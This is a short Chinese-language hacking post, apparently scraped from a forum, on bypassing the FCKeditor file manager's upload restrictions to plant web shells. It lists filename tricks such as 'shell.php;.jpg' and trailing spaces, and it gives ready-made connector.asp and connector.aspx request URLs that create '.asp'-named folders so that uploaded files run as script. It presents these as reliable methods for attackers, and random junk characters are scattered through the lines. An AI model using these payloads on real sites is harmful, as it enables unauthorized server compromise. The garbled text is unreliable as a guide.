很多时候上传的文件例如:shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化,试试上传 1.asp;jpg |' T# Y/ ]3 d7 h( X# c
% `& P- k$ a* j/ x# s
提交 shell.php+空格 绕过,不过空格只支持 win 系统 *nix 是不支持的,shell.php 和 shell.php+空格 是 2 个不同的文件,未测试。, W8 @3 J9 z, u
& u! a$ M9 ?5 c+ w
继续上传同名文件可变为 shell.php;(1).jpg,也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
8 W" U' }4 \" r; G' | f& _0 ?/ l
突破建立文件夹:0 G7 S3 B3 K) s
: |$ F$ B. g q
editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp. ~& r" @0 m& v& K' r/ E3 _% i
m+ C* {$ c: L+ \" g' W参数:
. m: p+ c( D) C0 h% Y- g4 Z# r! R/ f e* R
当前目录名:CurrentFolder=/qing.asp# B7 v& j' p; a9 X W; B
; H( `( [1 _( e; M9 s新的目录名:NewFolderName=x.asp
- X3 }. ]& U9 P/ M# M) Y4 F
% Z3 _1 P2 `) G9 E, J其实很简单,在目录那里写 x.asp,然后点击新建目录在弹出来的对话框中随便写……! a! e/ p8 M& k6 H
' r) p7 k! |+ z6 W# f
那么 x.asp 就已经建立生成了,此方法百试百灵!2 |7 M; O- ~; u( x" \- v0 T
9 W1 t* S8 x4 x5 k, p7 [" T. b新建文件夹参数 x.asp,基本都能搞定。
, E! x+ u( C a( B3 K( H# j' ^1 i2 c6 v& Q3 P
下面这句话是要在1.asp下建立2.asp,当不存在1.asp时会先创建,只过滤了目标目录的创建 而没有过滤不存在目录的创建
1 v, u7 `/ s) m# k% p1 k" y$ X( H# T1 r4 m( d( ~- Z
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp, }! Y+ N, N' c
- J% ]4 X; @% j5 Y获取文件列表8 X) S5 G3 M. Y4 _2 x
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F4 f' a4 s1 R4 r; Q
# @6 g- {. R2 `6 b( y) t& j
|